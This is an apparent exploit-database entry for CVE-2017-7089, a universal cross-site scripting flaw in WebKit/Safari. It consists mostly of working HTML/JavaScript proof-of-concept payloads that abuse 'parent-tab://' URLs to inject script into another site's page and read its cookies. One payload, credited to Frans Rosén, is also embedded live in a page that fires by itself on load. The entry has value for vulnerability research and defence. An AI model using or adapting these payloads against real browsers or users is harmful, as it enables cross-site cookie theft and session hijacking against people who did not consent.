Webkit (Safari) - Universal Cross-site Scripting
Author: Anton Lopanitsyn
type: local
platform: multiple
port:
date_added: 2018-11-15
date_updated: 2018-11-15
verified: 0
codes: CVE-2017-7089
tags:
aliases:
screenshot_url:
application_url:
<!--
# CVE-2017-7089
**Impact**: Processing maliciously crafted web content may lead to universal cross site scripting
**Description**: A logic issue existed in the handling of the parent-tab. This issue was addressed with improved state management.
#### Safari 10
##### Local SOP bypass
```html
<script> function Pew(){var doc=open('parent-tab://apple.com');doc.document.body.innerHTML='<img src=q onerror=alert(document.cookie)>';}</script><button onclick=Pew();>Click me!</button>
```
##### Exploit by Frans Rosén
```html
data:text/html,<script>function y(){x=open('parent-tab://google.com','_top'),x.document.body.innerHTML='<img/src=""onerror="alert(document.cookie)">'};setTimeout(y,100)</script>
```
-->
<body onload=document.getElementById('pew').click()>
<a id='pew' href='data:text/html,<script>function y(){x=open('parent-tab://apple.com','_top'),x.document.body.innerHTML='<img/src=""onerror=alert(document.domain);alert(document.cookie);>'};setTimeout(y,100)</script>'>hello</a>
</body>